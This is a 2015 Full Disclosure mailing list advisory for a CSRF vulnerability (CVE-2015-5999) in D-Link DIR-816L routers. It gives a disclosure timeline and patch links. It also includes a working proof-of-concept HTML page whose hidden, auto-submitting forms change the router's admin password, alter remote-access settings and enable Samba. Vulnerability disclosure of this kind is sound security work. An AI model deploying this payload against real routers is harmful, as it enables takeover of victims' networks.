Full Disclosure mailing list archives

D-link wireless router DIR-816L – Cross-Site Request Forgery (CSRF) vulnerability


From: Bhadresh Patel <Bhadresh.Patel () helpag com>
Date: Tue, 10 Nov 2015 15:21:02 +0000

Title:
====

D-link wireless router DIR-816L – Cross-Site Request Forgery (CSRF) vulnerability

Credit:
======

Name: Bhadresh Patel
Company/affiliation: HelpAG
Website: www.helpag.com

CVE:
=====


CVE-2015-5999

Date:
====

10-11-2015 (dd/mm/yyyy)

Vendor:
======


D-Link is a computer networking company with relatively modest beginnings in Taiwan. The company has grown over the 
last 25 years into an exciting global brand offering the most up-to-date network solutions. Whether it is to suit the 
needs of the home consumer, a business or service provider, D-link take pride in offering award-winning networking 
products and services.

Product:
=======


DIR-816L is a wireless AC750 Dual Band Cloud Router


Product link: http://support.dlink.com/ProductInfo.aspx?m=DIR-816L


Abstract:
=======

Cross-Site Request Forgery (CSRF) vulnerability in the DIR-816L wireless router enables an attacker to perform an 
unwanted action on a wireless router for which the user/admin is currently authenticated.

Report-Timeline:
============
27-07-2015: Vendor notification
27-07-2015: Vendor Response/Feedback
05-11-2015: Vendor Fix/Patch
10-11-2015: Public or Non-Public Disclosure



Affected Version:
=============

<=2.06.B01


Exploitation-Technique:
===================


Remote


Severity Rating:
===================

7.9 (AV:A/AC:M/Au:N/C:C/I:C/A:C)



Details:
=======


An attacker who lures a DIR-816L authenticated user to browse a malicious website can exploit cross site request 
forgery (CSRF) to submit commands to DIR-816L wireless router and gain control of the product. The attacker could 
submit variety of commands including but not limited to changing the admin account password, changing the network 
policy, etc.


Proof Of Concept:
================


1) User login to DIR-816L wireless router


2) User visits the attacker's malicious web page (attacker.html)


3) attacker.html exploits CSRF vulnerability and changes the admin account password


PoC video link: http://youtu.be/UBdR2sUc8Wg


Exploit code (attacker.html):


<html>

<body>


<iframe style="display:none" name="hiddenpost"></iframe>


<form action="http://192.168.0.1/hedwig.cgi"; method="POST" enctype="text/plain" target="hiddenpost" id="csrf">


<input type="hidden" name="&lt;&#63;xml&#32;version" 
value="&quot;1&#46;0&quot;&#32;encoding&#61;&quot;UTF&#45;8&quot;&#63;&gt;&#10;&lt;postxml&gt;&#10;&lt;module&gt;&#10;&#9;&lt;service&gt;DEVICE&#46;ACCOUNT&lt;&#47;service&gt;&#10;&#9;&lt;device&gt;&#10;&#9;&#9;&lt;gw&#95;name&gt;DIR&#45;816L&lt;&#47;gw&#95;name&gt;&#10;&#9;&#9;&#10;&#9;&#9;&lt;account&gt;&#10;&#9;&#9;&#9;&lt;seqno&gt;1&lt;&#47;seqno&gt;&#10;&#9;&#9;&#9;&lt;max&gt;2&lt;&#47;max&gt;&#10;&#9;&#9;&#9;&lt;count&gt;1&lt;&#47;count&gt;&#10;&#9;&#9;&#9;&lt;entry&gt;&#10;&#9;&#9;&#9;&#9;&lt;uid&gt;USR&#45;&lt;&#47;uid&gt;&#10;&#9;&#9;&#9;&#9;&lt;name&gt;Admin&lt;&#47;name&gt;&#10;&#9;&#9;&#9;&#9;&lt;usrid&#47;&gt;&#10;&#9;&#9;&#9;&#9;&lt;password&gt;password&lt;&#47;password&gt;&#10;&#9;&#9;&#9;&#9;&lt;group&gt;0&lt;&#47;group&gt;&#10;&#9;&#9;&#9;&#9;&lt;description&#47;&gt;&#10;&#9;&#9;&#9;&lt;&#47;entry&gt;&#10;&#9;&#9;&lt;&#47;account&gt;&#10;&#9;&#9;&lt;group&gt;&#10;&#9;&#9;&#9;&lt;seqno&#47;&gt;&#10;&#9;&#9;&#9;&lt;max&#47;&gt;&#10;&#9;&#9;&#9;&lt;count&gt;0&lt;&#47;count&gt;&#10;&#9;&#9;&lt;&#47;group&gt;&#10;&#9;&#9;&lt;session&gt;&#10;&#9;&#9;&#9;&lt;captcha&gt;1&lt;&#47;captcha&gt;&#10;&#9;&#9;&#9;&lt;dummy&#47;&gt;&#10;&#9;&#9;&#9;&lt;timeout&gt;180&lt;&#47;timeout&gt;&#10;&#9;&#9;&#9;&lt;maxsession&gt;128&lt;&#47;maxsession&gt;&#10;&#9;&#9;&#9;&lt;maxauthorized&gt;16&lt;&#47;maxauthorized&gt;&#10;&#9;&#9;&lt;&#47;session&gt;&#10;&#9;&lt;&#47;device&gt;&#10;&lt;&#47;module&gt;&#10;&lt;module&gt;&#10;&#9;&lt;service&gt;HTTP&#46;WAN&#45;1&lt;&#47;service&gt;&#10;&#9;&lt;inf&gt;&#10;&#9;&#9;&lt;web&gt;&lt;&#47;web&gt;&#10;&#9;&#9;&lt;https&#95;rport&gt;&lt;&#47;https&#95;rport&gt;&#10;&#9;&#9;&lt;stunnel&gt;1&lt;&#47;stunnel&gt;&#10;&#9;&#9;&lt;weballow&gt;&#10;&#9;&#9;&#9;&lt;hostv4ip&#47;&gt;&#10;&#9;&#9;&lt;&#47;weballow&gt;&#10;&#9;&#9;&lt;inbfilter&#47;&gt;&#10;&#9;&lt;&#47;inf&gt;&#10;&#9;&#10;&lt;&#47;module&gt;&#10;&lt;module&gt;&#10;&#9;&lt;service&gt;HTTP&#46;WAN&#45;2&lt;&#47;service&gt;&#10;&#9;&lt;inf&gt;&#10;&#9;&#9;&lt;active&gt;0&lt;&#47;active&gt;&#10;&#9;&#9;&lt;nat&gt;NAT&#45;1&lt;&#47;nat&gt;&#10;&#9;&#9;&lt;web&#47;&gt;&#10;&#9;&#9;&lt;weballow&gt;&#10;&#9;&#9;&#9;&lt;hostv4ip&#47;&gt;&#10;&#9;&#9;&lt;&#47;weballow&gt;&#10;&#9;&lt;&#47;inf&gt;&#10;&#9;&#10;&lt;&#47;module&gt;&#10;&lt;module&gt;&#10;&#9;&lt;service&gt;INBFILTER&lt;&#47;service&gt;&#10;&#9;&lt;acl&gt;&#10;&#9;&#9;&lt;inbfilter&gt;&#9;&#9;&#10;&#9;&#9;&#9;&#9;&#9;&#9;&lt;seqno&gt;1&lt;&#47;seqno&gt;&#10;&#9;&#9;&#9;&lt;max&gt;24&lt;&#47;max&gt;&#10;&#9;&#9;&#9;&lt;count&gt;0&lt;&#47;count&gt;&#10;&#10;&#9;&#9;&lt;&#47;inbfilter&gt;&#9;&#9;&#10;&#9;&lt;&#47;acl&gt;&#10;&#9;&lt;ACTIVATE&gt;ignore&lt;&#47;ACTIVATE&gt;&#10;&lt;FATLADY&gt;ignore&lt;&#47;FATLADY&gt;&lt;SETCFG&gt;ignore&lt;&#47;SETCFG&gt;&lt;&#47;module&gt;&#10;&lt;module&gt;&#10;&#9;&lt;service&gt;SHAREPORT&lt;&#47;service&gt;&#10;&#9;&lt;FATLADY&gt;ignore&lt;&#47;FATLADY&gt;&#10;&#9;&#10;&lt;ACTIVATE&gt;ignore&lt;&#47;ACTIVATE&gt;&lt;&#47;module&gt;&#10;&lt;module&gt;&#10;&#9;&lt;service&gt;SAMBA&lt;&#47;service&gt;&#10;&#9;&lt;samba&gt;&#9;&#9;&#10;&#9;&#9;&#32;&#32;&#32;&#32;&#10;&#9;&#9;&lt;enable&gt;1&lt;&#47;enable&gt;&#10;&#9;&#9;&lt;auth&gt;1&lt;&#47;auth&gt;&#10;&#10;&#32;&#32;&#32;&#32;&lt;&#47;samba&gt;&#10;&lt;&#47;module&gt;&#10;&lt;&#47;postxml&gt;"
 />


</form>


<script>alert("This is CSRF PoC");document.getElementById("csrf").submit()</script>


<iframe style="display:none" name="hiddencommit"></iframe>


<form action="http://192.168.0.1/pigwidgeon.cgi"; method="POST" target="hiddencommit" id="csrf1">


<input type="hidden" name="ACTIONS" value="SETCFG&#44;SAVE&#44;ACTIVATE" />


</form>

<script>document.getElementById("csrf1").submit()</script>


</body>

</html>




Patched/Fixed Firmware and notes:
==========================


2.06.B09_BETA  --  
ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_2.06.B09_BETA.ZIP<ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_2.06.B09_BETA.ZIP>


2.06.B09_BETA  --  
ftp://FTP2.DLINK.COM/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_NOTES_2.06.B09_BETA_EN.PDF<ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DIR-816L/DIR-816L_REVB_FIRMWARE_PATCH_NOTES_2.06.B09_BETA_EN.PDF>



Credits:
=======

Bhadresh Patel

Security Analyst

HelpAG (www.helpag.com)



  Bhadresh Patel
  Senior Security Analyst
  T: +97144405666 [cid:image75f390.JPG@16e77421.4494c42b]  F: +971 4 363 6742 [cid:image75f390.JPG@16e77421.4494c42b]  
M: +971529172297
[cid:image04a77b.PNG@ce6d1601.4ab164a8]
[cid:image677e4d.JPG@0f357520.4fba0f9b]<www.helpag.com>
[cid:image957c6e.PNG@d3afefe7.4abca211]
[cid:imagebe08c8.JPG@9262bf6a.4aa7f0b4] [cid:image4fc04d.BMP@e6f0ab92.4ab38950] 
<https://www.facebook.com/pages/help-AG-Middle-East/185411873637>       [cid:image97dfe3.BMP@4ff68c60.44a3be00] 
<http://www.linkedin.com/company/help-ag>       [cid:image1d495d.JPG@496727d5.409f0d23] 
<http://www.youtube.com/user/helpag>








_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Current thread: